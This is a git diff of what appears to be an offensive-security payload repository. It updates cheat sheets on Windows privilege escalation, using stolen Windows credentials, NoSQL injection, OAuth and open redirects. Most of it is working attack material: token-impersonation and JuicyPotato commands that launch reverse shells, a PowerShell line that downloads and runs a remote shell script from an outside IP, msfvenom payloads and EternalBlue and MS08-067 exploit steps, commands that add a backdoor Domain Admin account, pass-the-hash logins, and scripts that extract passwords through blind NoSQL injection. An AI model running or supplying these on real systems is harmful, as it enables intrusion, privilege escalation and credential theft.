To be verified. || + + +### Meterpreter getsystem and alternatives + +```powershell +meterpreter> getsystem +Tokenvator.exe getsystem cmd.exe +incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe +psexec -s -i cmd.exe +python getsystem.py # from https://github.com/sailay1996/tokenx_privEsc +``` + +### RottenPotato (Token Impersonation) + +Binary available at : https://github.com/foxglovesec/RottenPotato +Binary available at : https://github.com/breenmachine/RottenPotatoNG + +```c +getuid +getprivs +use incognito +list\_tokens -u +cd c:\temp\ +execute -Hc -f ./rot.exe +impersonate\_token "NT AUTHORITY\SYSTEM" +``` + +```powershell +Invoke-TokenManipulation -ImpersonateUser -Username "lab\domainadminuser" +Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM" +Get-Process wininit | Invoke-TokenManipulation -CreateProcess "Powershell.exe -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://10.7.253.6:82/Invoke-PowerShellTcp.ps1');\"};" +``` + + +### Juicy Potato (abusing the golden privileges) + +Binary available at : https://github.com/ohpe/juicy-potato/releases +:warning: Juicy Potato doesn't work on Windows Server 2019 and Windows 10 1809. + +1. Check the privileges of the service account, you should look for **SeImpersonate** and/or **SeAssignPrimaryToken** (Impersonate a client after authentication) + + ```powershell + whoami /priv + ``` + +2. Select a CLSID based on your Windows version, a CLSID is a globally unique identifier that identifies a COM class object + + * [Windows 7 Enterprise](https://ohpe.it/juicy-potato/CLSID/Windows_7_Enterprise) + * [Windows 8.1 Enterprise](https://ohpe.it/juicy-potato/CLSID/Windows_8.1_Enterprise) + * [Windows 10 Enterprise](https://ohpe.it/juicy-potato/CLSID/Windows_10_Enterprise) + * [Windows 10 Professional](https://ohpe.it/juicy-potato/CLSID/Windows_10_Pro) + * [Windows Server 2008 R2 Enterprise](https://ohpe.it/juicy-potato/CLSID/Windows_Server_2008_R2_Enterprise) + * [Windows Server 2012 Datacenter](https://ohpe.it/juicy-potato/CLSID/Windows_Server_2012_Datacenter) + * [Windows Server 2016 Standard](https://ohpe.it/juicy-potato/CLSID/Windows_Server_2016_Standard) + +3. Execute JuicyPotato to run a privileged command. + + ```powershell + JuicyPotato.exe -l 9999 -p c:\interpub\wwwroot\upload\nc.exe -a "IP PORT -e cmd.exe" -t t -c {B91D5831-B1BD-4608-8198-D72E155020F7} + JuicyPotato.exe -l 1340 -p C:\users\User\rev.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334} + JuicyPotato.exe -l 1337 -p c:\Windows\System32\cmd.exe -t * -c {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} -a "/c c:\users\User\reverse_shell.exe" + Testing {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} 1337 + ...... + [+] authresult 0 + {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4};NT AUTHORITY\SYSTEM + [+] CreateProcessWithTokenW OK + ``` + +## EoP - Common Vulnerabilities and Exposure + +### MS08-067 (NetAPI) + +Check the vulnerability with the following nmap script. + +```c +nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms08-067 +``` + +Metasploit modules to exploit `MS08-067 NetAPI`. + +```powershell +exploit/windows/smb/ms08_067_netapi +``` + +If you can't use Metasploit and only want a reverse shell. + +```powershell +https://raw.githubusercontent.com/jivoi/pentest/master/exploit_win/ms08-067.py +msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f py -v shellcode -a x86 --platform windows + +Example: MS08_067_2018.py 192.168.1.1 1 445 -- for Windows XP SP0/SP1 Universal, port 445 +Example: MS08_067_2018.py 192.168.1.1 2 139 -- for Windows 2000 Universal, port 139 (445 could also be used) +Example: MS08_067_2018.py 192.168.1.1 3 445 -- for Windows 2003 SP0 Universal +Example: MS08_067_2018.py 192.168.1.1 4 445 -- for Windows 2003 SP1 English +Example: MS08_067_2018.py 192.168.1.1 5 445 -- for Windows XP SP3 French (NX) +Example: MS08_067_2018.py 192.168.1.1 6 445 -- for Windows XP SP3 English (NX) +Example: MS08_067_2018.py 192.168.1.1 7 445 -- for Windows XP SP3 English (AlwaysOn NX) +python ms08-067.py 10.0.0.1 6 445 +``` + + +### MS10-015 (KiTrap0D) - Microsoft Windows NT/2000/2003/2008/XP/Vista/7 + +'KiTrap0D' User Mode to Ring Escalation (MS10-015) + +```powershell +https://www.exploit-db.com/exploits/11199 + +Metasploit : exploit/windows/local/ms10_015_kitrap0d +``` + +### MS11-080 (afd.sys) - Microsoft Windows XP/2003 + +```powershell +Python: https://www.exploit-db.com/exploits/18176 +Metasploit: exploit/windows/local/ms11_080_afdjoinleaf +``` + +### MS15-051 (Client Copy Image) - Microsoft Windows 2003/2008/7/8/2012 + +```powershell +printf("[#] usage: ms15-051 command \n"); +printf("[#] eg: ms15-051 \"whoami /all\" \n"); + +# x32 +https://github.com/rootphantomer/exp/raw/master/ms15-051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/Win32/ms15-051.exe + +# x64 +https://github.com/rootphantomer/exp/raw/master/ms15-051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/x64/ms15-051.exe + +https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS15-051 +use exploit/windows/local/ms15_051_client_copy_image +``` + + +### MS16-032 - Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64) + +Check if the patch is installed : `wmic qfe list | findstr "3139914"` + +```powershell +Powershell: +https://www.exploit-db.com/exploits/39719/ +https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1 + +Binary exe : https://github.com/Meatballs1/ms16-032 + +Metasploit : exploit/windows/local/ms16_032_secondary_logon_handle_privesc +``` + +### MS17-010 (Eternal Blue) + +Check the vulnerability with the following nmap script. + +```c +nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms17–010 +``` + +Metasploit modules to exploit `EternalRomance/EternalSynergy/EternalChampion`. + +```powershell +auxiliary/admin/smb/ms17_010_command MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution +auxiliary/scanner/smb/smb_ms17_010 MS17-010 SMB RCE Detection +exploit/windows/smb/ms17_010_eternalblue MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption +exploit/windows/smb/ms17_010_eternalblue_win8 MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+ +exploit/windows/smb/ms17_010_psexec MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution +``` + +If you can't use Metasploit and only want a reverse shell. + +```powershell +git clone https://github.com/helviojunior/MS17-010 + +# generate a simple reverse shell to use +msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o revshell.exe +python2 send_and_execute.py 10.0.0.1 revshell.exe +``` + +### CVE-2019-1388 + +Exploit : https://packetstormsecurity.com/files/14437/hhupd.exe.html +Working on : +- Windows 7 +- Windows 10 LTSC 10240 +Failing on : +- LTSC 2019 +- 1709 +- 1803 +Detailed information about the vulnerability : https://www.zerodayinitiative.com/blog/2019/11/19/thanksgiving-treat-easy-as-pie-windows-7-secure-desktop-escalation-of-privilege ## References +* [Windows Internals Book - 02/07/2017](https://docs.microsoft.com/en-us/sysinternals/learn/windows-internals) +* [icacls - Docs Microsoft](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/icacls) +* [Privilege Escalation Windows - Philip Linghammar](https://xapax.gitbooks.io/security/content/privilege_escalation_windows.html) +* [Windows elevation of privileges - Guifre Ruiz](https://guif.re/windowseop) * [The Open Source Windows Privilege Escalation Cheat Sheet by amAK.xyz and @xxByte](https://addaxsoft.com/wpecs/) * [Basic Linux Privilege Escalation](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) * [Windows Privilege Escalation Fundamentals](http://www.fuzzysecurity.com/tutorials/16.html) * [TOP–10 ways to boost your privileges in Windows systems - hackmag](https://hackmag.com/security/elevating-privileges-to-administrative-and-further/) * [The SYSTEM Challenge](https://decoder.cloud/2017/02/21/the-system-challenge/) * [Windows Privilege Escalation Guide - absolomb's security blog](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/) +* [Chapter 4 - Windows Post-Exploitation - 2 Nov 2017 - dostoevskylabs](https://github.com/dostoevskylabs/dostoevsky-pentest-notes/blob/master/chapter-4.md) * [Remediation for Microsoft Windows Unquoted Service Path Enumeration Vulnerability - September 18th, 2016 - Robert Russell](https://www.tecklyfe.com/remediation-microsoft-windows-unquoted-service-path-enumeration-vulnerability/) * [Pentestlab.blog - WPE-01 - Stored Credentials](https://pentestlab.blog/2017/04/19/stored-credentials/) * [Pentestlab.blog - WPE-02 - Windows Kernel](https://pentestlab.blog/2017/04/24/windows-kernel-exploits/) @@ -352,4 +939,7 @@ List of exploits kernel : [https://github.com/SecWiki/windows-kernel-exploits](h * [Pentestlab.blog - WPE-10 - Token Manipulation](https://pentestlab.blog/2017/04/03/token-manipulation/) * [Pentestlab.blog - WPE-11 - Secondary Logon Handle](https://pentestlab.blog/2017/04/07/secondary-logon-handle/) * [Pentestlab.blog - WPE-12 - Insecure Registry Permissions](https://pentestlab.blog/2017/03/31/insecure-registry-permissions/) -* [Pentestlab.blog - WPE-13 - Intel SYSRET](https://pentestlab.blog/2017/06/14/intel-sysret/) \ No newline at end of file +* [Pentestlab.blog - WPE-13 - Intel SYSRET](https://pentestlab.blog/2017/06/14/intel-sysret/) +* [Alternative methods of becoming SYSTEM - 20th November 2017 - Adam Chester @_xpn_](https://blog.xpnsec.com/becoming-system/) +* [Living Off The Land Binaries and Scripts (and now also Libraries)](https://github.com/LOLBAS-Project/LOLBAS) +* [Common Windows Misconfiguration: Services - 2018-09-23 - @am0nsec](https://amonsec.net/2018/09/23/Common-Windows-Misconfiguration-Services.html) \ No newline at end of file diff --git a/Methodology and Resources/Windows - Using credentials.md b/Methodology and Resources/Windows - Using credentials.md index e548695146..e927607748 100644 --- a/Methodology and Resources/Windows - Using credentials.md +++ b/Methodology and Resources/Windows - Using credentials.md @@ -1,10 +1,32 @@ # Windows - Using credentials -## TIP 1 - Create your credential :D +## Summary + +* [TIPS](#tips) + * [TIP 1 - Create your credential](#tip-1-create-your-credential) + * [TIP 2 - Retail Credential](#tip-2-retail-credential) + * [TIP 3 - Sandbox Credential - WDAGUtilityAccount](#tip-3-sandbox-credrential-wdagutilityaccount) +* [Metasploit](#metasploit) + * [Metasploit - SMB](#metasploit-smb) + * [Metasploit - Psexec](#metasploit-psexec) +* [Crackmapexec](#crackmapexec) +* [Winexe](#winexe) +* [Psexec.py / Smbexec.py / Wmiexec.py](#psexec.py---smbexec.py---wmiexec.py) +* [PsExec - Sysinternal](#psexec-sysinternal) +* [RDP Remote Desktop Protocol](#rdp-remote-desktop-protocol) +* [Netuse](#netuse) +* [Runas](#runas) + +## TIPS + +### TIP 1 - Create your credential ```powershell -net user hacker hacker /add +net user hacker hacker1234* /add net localgroup administrators hacker /add +net localgroup "Remote Desktop Users" hacker /add # RDP access +net localgroup "Backup Operators" hacker /add # Full access to files +net group "Domain Admins" hacker /add /domain ``` Some info about your user @@ -14,7 +36,9 @@ net user /dom net user /domain ``` -## TIP 2 - Retail Credential [@m8urnett on Twitter](https://twitter.com/m8urnett/status/1003835660380172289) +### TIP 2 - Retail Credential + +Retail Credential [@m8urnett on Twitter](https://twitter.com/m8urnett/status/1003835660380172289) when you run Windows in retail demo mode, it creates a user named Darrin DeYoung and an admin RetailAdmin @@ -23,7 +47,9 @@ Username: RetailAdmin Password: trs10 ``` -## TIP - Sandbox Credential - WDAGUtilityAccount - [@never_released on Twitter](https://twitter.com/never_released/status/1081569133844676608) +### TIP 3 - Sandbox Credential - WDAGUtilityAccount + +WDAGUtilityAccount - [@never_released on Twitter](https://twitter.com/never_released/status/1081569133844676608) Starting with Windows 10 version 1709 (Fall Creators Update), it is part of Windows Defender Application Guard @@ -34,66 +60,83 @@ Password: pw123 ``` -## Metasploit - SMB +## Metasploit + +### Metasploit - SMB ```c use auxiliary/scanner/smb/smb_login -set SMBDomain CSCOU -set SMBUser jarrieta -set SMBPass nastyCutt3r +set SMBDomain DOMAIN +set SMBUser username +set SMBPass password services -p 445 -R run creds ``` -## Metasploit - Psexec +### Metasploit - Psexec Note: the password can be replaced by a hash to execute a `pass the hash` attack. ```c use exploit/windows/smb/psexec set RHOST 10.2.0.3 -set SMBUser jarrieta -set SMBPass nastyCutt3r +set SMBUser username +set SMBPass password set PAYLOAD windows/meterpreter/bind_tcp run shell ``` -## Crackmapexec (Integrated to Kali) +## Crackmapexec ```python git clone https://github.com/byt3bl33d3r/CrackMapExec.github -python crackmapexec.py 10.9.122.0/25 -d CSCOU -u jarrieta -p nastyCutt3r -python crackmapexec.py 10.9.122.5 -d CSCOU -u jarrieta -p nastyCutt3r -x whoami -``` - -## Crackmapexec (Pass The Hash) - -```powershell +python crackmapexec.py 10.9.122.0/25 -d DOMAIN -u username -p password +python crackmapexec.py 10.10.10.10 -d DOMAIN -u username -p password -x whoami +# pass the hash cme smb 172.16.157.0/24 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:5509de4ff0a6eed7048d9f4a61100e51' --local-auth ``` -## Winexe (Integrated to Kali) +## Winexe + +Integrated to Kali ```python -winexe -U CSCOU/jarrieta%nastyCutt3r //10.9.122.5 cmd.exe +winexe -U DOMAIN/username%password //10.10.10.10 cmd.exe ``` -## Psexec.py / Smbexec.py / Wmiexec.py (Impacket) +## Psexec.py / Smbexec.py / Wmiexec.py + +from Impacket ```python git clone https://github.com/CoreSecurity/impacket.git -python psexec.py CSCOU/jarrieta:nastyCutt3r@10.9.122.5 -python smbexec.py CSCOU/jarrieta:nastyCutt3r@10.9.122.5 -python wmiexec.py CSCOU/jarrieta:nastyCutt3r@10.9.122.5 +python psexec.py DOMAIN/username:password@10.10.10.10 +python smbexec.py DOMAIN/username:password@10.10.10.10 +python wmiexec.py DOMAIN/username:password@10.10.10.10 + +# psexec.exe -s cmd +# switch admin user to NT Authority/System ``` -## RDP Remote Desktop Protocol (Impacket) +## PsExec - Sysinternal + +from Windows - [Sysinternal](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) ```powershell -python rdpcheck.py CSCOU/jarrieta:nastyCutt3r@10.9.122.5 -rdesktop -d CSCOU -u jarrieta -p nastyCutt3r 10.9.122.5 +PsExec.exe \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe +PsExec.exe \\ordws01.cscou.lab -u DOMAIN\username -p password cmd.exe -s # get System shell +``` + +## RDP Remote Desktop Protocol + +```powershell +python rdpcheck.py DOMAIN/username:password@10.10.10.10 +rdesktop -d DOMAIN -u username -p password 10.10.10.10 -g 70 -r disk:share=/home/user/myshare +rdesktop -u username -p password -g 70 -r disk:share=/tmp/myshare 10.10.10.10 +# -g : the screen will take up 70% of your actual screen size +# -r disk:share : sharing a local folder during a remote desktop session ``` Note: you may need to enable it with the following command @@ -116,36 +159,35 @@ or with crackmapexec crackmapexec 192.168.1.100 -u Jaddmon -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable ``` -For Server 2012 R2, Win8.1+ +or with Metasploit ```powershell -xfreerdp /u:offsec /d:win2012 /pth:88a405e17c0aa5debbc9b5679753939d /v:192.168.1.12 +run getgui -u admin -p 1234 ``` -with Metasploit +Then log in using xfreerdp ```powershell -run getgui -u admin -p 1234 +xfreerdp /u:offsec /d:win2012 /pth:88a405e17c0aa5debbc9b5679753939d /v:10.0.0.1 # pass the hash works for Server 2012 R2 / Win 8.1+ +xfreerdp -u test -p 36374BD2767773A2DD4F6B010EC5EE0D 192.168.226.129 # pass the hash using Restricted Admin, need an admin account not in the "Remote Desktop Users" group. +xfreerd /u:runner /v:10.0.0.1 # password will be asked ``` -## Netuse (Windows) -```powershell -net use \\ordws01.cscou.lab /user:CSCOU\jarrieta nastyCutt3r -C$ -``` +## Netuse -## Runas (Windows - Kerberos auth) +Windows only ```powershell -runas /netonly /user:CSCOU\jarrieta "cmd.exe" +net use \\ordws01.cscou.lab /user:DOMAIN\username password +C$ ``` -## PsExec (Windows - [Sysinternal](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) ) +## Runas ```powershell -PsExec.exe \\ordws01.cscou.lab -u CSCOU\jarrieta -p nastyCutt3r cmd.exe -PsExec.exe \\ordws01.cscou.lab -u CSCOU\jarrieta -p nastyCutt3r cmd.exe -s # get System shell +runas /netonly /user:DOMAIN\username "cmd.exe" +runas /noprofil /netonly /user:DOMAIN\username cmd.exe ``` ## References diff --git a/NoSQL injection/Intruder/NoSQL.txt b/NoSQL Injection/Intruder/NoSQL.txt similarity index 100% rename from NoSQL injection/Intruder/NoSQL.txt rename to NoSQL Injection/Intruder/NoSQL.txt diff --git a/NoSQL Injection/README.md b/NoSQL Injection/README.md new file mode 100644 index 0000000000..7c203b8ca5 --- /dev/null +++ b/NoSQL Injection/README.md @@ -0,0 +1,148 @@ +# NoSQL injection + +> NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax. + +## Summary + +* [Tools](#tools) +* [Exploit](#exploits) + * [Authentication Bypass](#authentication-bypass) + * [Extract length information](#extract-length-information) + * [Extract data information](#extract-data-information) +* [Blind NoSQL](#blind-nosql) + * [POST with JSON body](#post-with-json-body) + * [GET](#get) +* [MongoDB Payloads](#mongodb-payloads) +* [References](#references) + +## Tools + +* [NoSQLmap - Automated NoSQL database enumeration and web application exploitation tool](https://github.com/codingo/NoSQLMap) +* [nosqlilab - A lab for playing with NoSQL Injection](https://github.com/digininja/nosqlilab) + +## Exploit + +### Authentication Bypass + +Basic authentication bypass using not equal ($ne) or greater ($gt) + +```json +in URL +username[$ne]=toto&password[$ne]=toto + +in JSON +{"username": {"$ne": null}, "password": {"$ne": null}} +{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}} +{"username": {"$gt": undefined}, "password": {"$gt": undefined}} +{"username": {"$gt":""}, "password": {"$gt":""}} +``` + +### Extract length information + +```json +username[$ne]=toto&password[$regex]=.{1} +username[$ne]=toto&password[$regex]=.{3} +``` + +### Extract data information + +```json +in URL +username[$ne]=toto&password[$regex]=m.{2} +username[$ne]=toto&password[$regex]=md.{1} +username[$ne]=toto&password[$regex]=mdp + +username[$ne]=toto&password[$regex]=m.* +username[$ne]=toto&password[$regex]=md.* + +in JSON +{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }} +{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }} +{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }} +``` + +Extract data with "in" + +```json +{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}} +``` + + +## Blind NoSQL + +### POST with JSON body + + +```python +import requests +import urllib3 +import string +import urllib +urllib3.disable_warnings() + +username="admin" +password="" +u="http://example.org/login" +headers={'content-type': 'application/json'} + +while True: + for c in string.printable: + if c not in ['*','+','.','?','|']: + payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c) + r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False) + if 'OK' in r.text or r.status_code == 302: + print("Found one more char : %s" % (password+c)) + password += c +``` + +### GET + +```python +import requests +import urllib3 +import string +import urllib +urllib3.disable_warnings() + +username='admin' +password='' +u='http://example.org/login' + +while True: + for c in string.printable: + if c not in ['*','+','.','?','|', '#', '&', '$']: + payload='?username=%s&password[$regex]=^%s' % (username, password + c) + r = requests.get(u + payload) + if 'Yeah' in r.text: + print("Found one more char : %s" % (password+c)) + password += c +``` + +## MongoDB Payloads + +```bash +true, $where: '1 == 1' +, $where: '1 == 1' +$where: '1 == 1' +', $where: '1 == 1' +1, $where: '1 == 1' +{ $ne: 1 } +', $or: [ {}, { 'a':'a +' } ], $comment:'successful MongoDB injection' +db.injection.insert({success:1}); +db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1 +|| 1==1 +' && this.password.match(/.*/)//+%00 +' && this.passwordzz.match(/.*/)//+%00 +'%20%26%26%20this.password.match(/.*/)//+%00 +'%20%26%26%20this.passwordzz.match(/.*/)//+%00 +{$gt: ''} +[$ne]=1 +``` + +## References + +* [Les NOSQL injections Classique et Blind: Never trust user input - Geluchat](https://www.dailysecurity.fr/nosql-injections-classique-blind/) +* [Testing for NoSQL injection - OWASP](https://www.owasp.org/index.php/Testing_for_NoSQL_injection) +* [NoSQL injection wordlists - cr0hn](https://github.com/cr0hn/nosqlinjection_wordlists) +* [NoSQL Injection in MongoDB - JUL 17, 2016 - Zanon](https://zanon.io/posts/nosql-injection-in-mongodb) diff --git a/NoSQL injection/README.md b/NoSQL injection/README.md deleted file mode 100644 index 811cd3b845..0000000000 --- a/NoSQL injection/README.md +++ /dev/null @@ -1,92 +0,0 @@ -# NoSQL injection - -NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax. - -## Exploit - -Basic authentication bypass using not equal ($ne) or greater ($gt) - -```json -in URL -username[$ne]=toto&password[$ne]=toto - -in JSON -{"username": {"$ne": null}, "password": {"$ne": null} } -{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} } -{"username": {"$gt": undefined}, "password": {"$gt": undefined} } -``` - -Extract length information - -```json -username[$ne]=toto&password[$regex]=.{1} -username[$ne]=toto&password[$regex]=.{3} -``` - -Extract data information - -```json -in URL -username[$ne]=toto&password[$regex]=m.{2} -username[$ne]=toto&password[$regex]=md.{1} -username[$ne]=toto&password[$regex]=mdp - -username[$ne]=toto&password[$regex]=m.* -username[$ne]=toto&password[$regex]=md.* - -in JSON -{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }} -{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }} -{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }} -``` - -## Blind NoSQL - -```python -import requests -import urllib3 -import string -import urllib -urllib3.disable_warnings() - -username="admin" -password="" - -while True: - for c in string.printable: - if c not in ['*','+','.','?','|']: - payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c) - r = requests.post(u, data = {'ids': payload}, verify = False) - if 'OK' in r.text: - print("Found one more char : %s" % (password+c)) - password += c -``` - -## MongoDB Payloads - -```bash -true, $where: '1 == 1' -, $where: '1 == 1' -$where: '1 == 1' -', $where: '1 == 1' -1, $where: '1 == 1' -{ $ne: 1 } -', $or: [ {}, { 'a':'a -' } ], $comment:'successful MongoDB injection' -db.injection.insert({success:1}); -db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1 -|| 1==1 -' && this.password.match(/.*/)//+%00 -' && this.passwordzz.match(/.*/)//+%00 -'%20%26%26%20this.password.match(/.*/)//+%00 -'%20%26%26%20this.passwordzz.match(/.*/)//+%00 -{$gt: ''} -[$ne]=1 -``` - -## References - -* [Les NOSQL injections Classique et Blind: Never trust user input - Geluchat](https://www.dailysecurity.fr/nosql-injections-classique-blind/) -* [Testing for NoSQL injection - OWASP](https://www.owasp.org/index.php/Testing_for_NoSQL_injection) -* [cr0hn - NoSQL injection wordlists](https://github.com/cr0hn/nosqlinjection_wordlists) -* [Zanon - NoSQL Injection in MongoDB](https://zanon.io/posts/nosql-injection-in-mongodb) diff --git a/OAuth/README.md b/OAuth/README.md index 7df46e664b..4e728c5919 100644 --- a/OAuth/README.md +++ b/OAuth/README.md @@ -1,4 +1,20 @@ -# OAuth 2 - Common vulnerabilities +# OAuth + +## Summary + +- [Stealing OAuth Token via referer](#stealing-oauth-token-via-referer) +- [Grabbing OAuth Token via redirect_uri](#grabbing-oauth-token-via-redirect---uri) +- [Executing XSS via redirect_uri](#executing-xss-via-redirect---uri) +- [OAuth private key disclosure](#oauth-private-key-disclosure) +- [Authorization Code Rule Violation](#authorization-code-rule-violation) +- [Cross-Site Request Forgery](#cross-site-request-forgery) +- [References](#references) + +## Stealing OAuth Token via referer + +From [@abugzlife1](https://twitter.com/abugzlife1/status/1125663944272748544) tweet. + +> Do you have HTML injection but can't get XSS? Are there any OAuth implementations on the site? If so, setup an img tag to your server and see if there's a way to get the victim there (redirect, etc.) after login to steal OAuth tokens via referer ## Grabbing OAuth Token via redirect_uri diff --git a/Open redirect/Intruder/Open-Redirect-payloads.txt b/Open Redirect/Intruder/Open-Redirect-payloads.txt similarity index 97% rename from Open redirect/Intruder/Open-Redirect-payloads.txt rename to Open Redirect/Intruder/Open-Redirect-payloads.txt index 6b456f1a1b..4444e335af 100644 --- a/Open redirect/Intruder/Open-Redirect-payloads.txt +++ b/Open Redirect/Intruder/Open-Redirect-payloads.txt @@ -233,3 +233,8 @@ ja\nva\tscript\r:alert(1) \152\141\166\141\163\143\162\151\160\164\072alert(1) http://google.com:80#@www.whitelisteddomain.tld/ http://google.com:80?@www.whitelisteddomain.tld/ +http://google.com\www.whitelisteddomain.tld +http://google.com&www.whitelisteddomain.tld +http:///////////google.com +\\google.com +http://www.whitelisteddomain.tld.google.com diff --git a/Open redirect/Intruder/open_redirect_wordlist.txt b/Open Redirect/Intruder/open_redirect_wordlist.txt similarity index 100% rename from Open redirect/Intruder/open_redirect_wordlist.txt rename to Open Redirect/Intruder/open_redirect_wordlist.txt diff --git a/Open redirect/Intruder/openredirects.txt b/Open Redirect/Intruder/openredirects.txt similarity index 100% rename from Open redirect/Intruder/openredirects.txt rename to Open Redirect/Intruder/openredirects.txt diff --git a/Open redirect/README.md b/Open Redirect/README.md similarity index 90% rename from Open redirect/README.md rename to Open Redirect/README.md index 80556da662..57365b0879 100644 --- a/Open redirect/README.md +++ b/Open Redirect/README.md @@ -114,6 +114,12 @@ http://www.yoursite.com/http://www.theirsite.com/ http://www.yoursite.com/folder/www.folder.com ``` +Host/Split Unicode Normalization +```powershell +https://evil.c℀.example.com . ---> https://evil.ca/c.example.com +http://a.com/X.b.com +``` + XSS from Open URL - If it's in a JS variable ```powershell @@ -165,7 +171,10 @@ http://www.example.com/redirect.php?url=javascript:prompt(1) ## References * filedescriptor +* [You do not need to run 80 reconnaissance tools to get access to user accounts - @stefanocoding](https://gist.github.com/stefanocoding/8cdc8acf5253725992432dedb1c9c781) * [OWASP - Unvalidated Redirects and Forwards Cheat Sheet](https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet) * [Cujanovic - Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads) * [Pentester Land - Open Redirect Cheat Sheet](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html) -* [Open Redirect Vulnerability - AUGUST 15, 2018 - s0cket7](https://s0cket7.com/open-redirect-vulnerability/) \ No newline at end of file +* [Open Redirect Vulnerability - AUGUST 15, 2018 - s0cket7](https://s0cket7.com/open-redirect-vulnerability/) +* [Host/Split +Exploitable Antipatterns in Unicode Normalization - BlackHat US 2019](https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf) diff --git a/README.md b/README.md index efacf647e6..f6586c4375 100644 --- a/README.md +++ b/README.md @@ -2,11 +2,9 @@ A list of useful payloads and bypasses for Web Application Security. Feel free to improve with your payloads and techniques ! -I <3 pull requests :) +I :heart: pull requests :) -You can also contribute with a beer IRL or with `buymeacoffee.com` - -[![Coffee](https://www.buymeacoffee.com/assets/img/custom_images/orange_img.png)](https://buymeacoff.ee/swissky) +You can also contribute with a :beers: IRL Every section contains the following files, you can use the `_template_vuln` folder to create a new chapter: @@ -15,14 +13,14 @@ Every section contains the following files, you can use the `_template_vuln` fol - Images - pictures for the README.md - Files - some files referenced in the README.md -You might also like : +You might also like the `Methodology and Resources` folder : - [Methodology and Resources](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/) - [Active Directory Attack.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md) - [Linux - Persistence.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md) - [Linux - Privilege Escalation.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md) - [Metasploit - Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Metasploit%20-%20Cheatsheet.md) - - [Methodology_and_enumeration.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Methodology_and_enumeration.md) + - [Methodology and enumeration.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Methodology%20and%20enumeration.md) - [Network Pivoting Techniques.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Network%20Pivoting%20Techniques.md) - [Network Discovery.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Network%20Discovery.md) - [Reverse Shell Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) @@ -36,7 +34,6 @@ You might also like : - [CVE Exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits) - Apache Struts 2 CVE-2013-2251 CVE-2017-5638 